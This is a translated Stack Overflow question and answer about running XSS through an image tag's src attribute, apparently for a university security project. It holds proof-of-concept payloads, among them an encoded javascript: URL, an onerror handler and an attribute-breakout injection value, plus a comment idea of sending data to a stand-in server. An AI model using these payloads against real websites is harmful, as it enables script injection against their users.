【问题标题】:Scope of Javascript inside src attribute of image图像的 src 属性内的 Javascript 范围
【发布时间】:2015-08-06 04:25:56
【问题描述】:

我必须为一个与安全相关的大学项目进行 XSS 攻击。我想存储在其源属性中包含恶意代码的图像。但是,似乎我无权从 src 属性访问任何 javascript 对象。

以下是我尝试过的一些事情:

<img src="j&#X41vascript:alert('XSS')">

抛出:未定义参考错误警报。

<img src="j&#X41vascript:window.alert('XSS')">

抛出:未定义参考错误窗口

<img src="j&#X41vascript:var x = new XMLHttpRequest();">

抛出:引用错误 XMLHttpRequest 未定义

这里有什么问题,如何访问网站的主窗口和我要访问的对象?

编辑: 过滤掉 Onerror 和所有其他事件。

【问题讨论】:

  • 这条评论并不是很有帮助。为什么不执行?并且错误意味着它被执行了。
  • 你能做类似javascript:'http//yourserver.example?js='+Object 的事情吗(看看你的服务器上有什么)?
  • 并非所有浏览器都容易受到这种攻击。您针对/测试什么浏览器 -stackoverflow.com/questions/1798633/…
  • 我在 Firefox 上测试。
  • 无法通过img的src属性执行Javascript代码。 (我假设引号是编码的)。你也读过这个吗? stackoverflow.com/questions/1798633/…

标签: javascript security xss


【解决方案1】:

src 没有被执行,所以这行不通。

一个解决方案是使用onerror

<img src="wrong" onerror="alert('XSS')">

根据你的src 属性是如何注入的,你可以传递这个值:

wrong" onerror="alert('XSS')

但是没有像样的框架容易受到这种攻击。

【讨论】:

  • 实际上,javascript 伪协议表示后面的任何内容都被解释为 JavaScript。
  • @Gumbo 在 src 属性上使用不是超级旧的浏览器?我不这么认为。
猜你喜欢
  • 2012-08-26
  • 2012-02-22
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2015-01-27
  • 1970-01-01
  • 2017-12-08
  • 2010-11-06
相关资源
最近更新 更多